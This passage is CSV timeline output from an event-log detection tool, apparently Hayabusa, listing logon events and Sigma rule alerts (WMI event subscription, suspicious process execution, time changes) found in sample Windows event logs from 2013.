memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: WIN-QALA5Q3KJ43 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x29908 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x298c5,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:23:39.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:23:39.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:24:00.130 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:24:00.130 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:24:00.161 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:24:53.630 +09:00,IE8Win7,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:27:48.911 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:27:48.911 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:28:54.348 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:28:54.348 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:32:51.504 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:05:04.489 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:27:21.754 +09:00,IE8Win7,4647,informational,Logoff - User Initiated,User: IEUser : LogonID: 0x29908,rules/hayabusa/default/events/Security/Logons/4647_LogoffUserInitiated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:27:37.645 +09:00,IE8Win7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:30:47.140 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:30:47.140 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:30:52.625 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:30:58.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:31:10.741 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:31:10.741 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:31:10.741 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:32:53.796 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:32:53.796 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:33:10.078 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:33:18.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:33:31.593 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:33:31.593 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:33:31.593 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:35:55.000 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:35:55.000 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: IE8WIN7$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x57d5b : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: IE8WIN7 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x57d8d : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-2-Interactive.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:36:53.671 +09:00,IE8Win7,4672,informational,Admin Logon,User: IEUser : LogonID: 0x57d5b,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:38:42.499 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:29.131 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:29.131 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:29.131 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.256 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 02:45:31.272 +09:00,IE8Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx 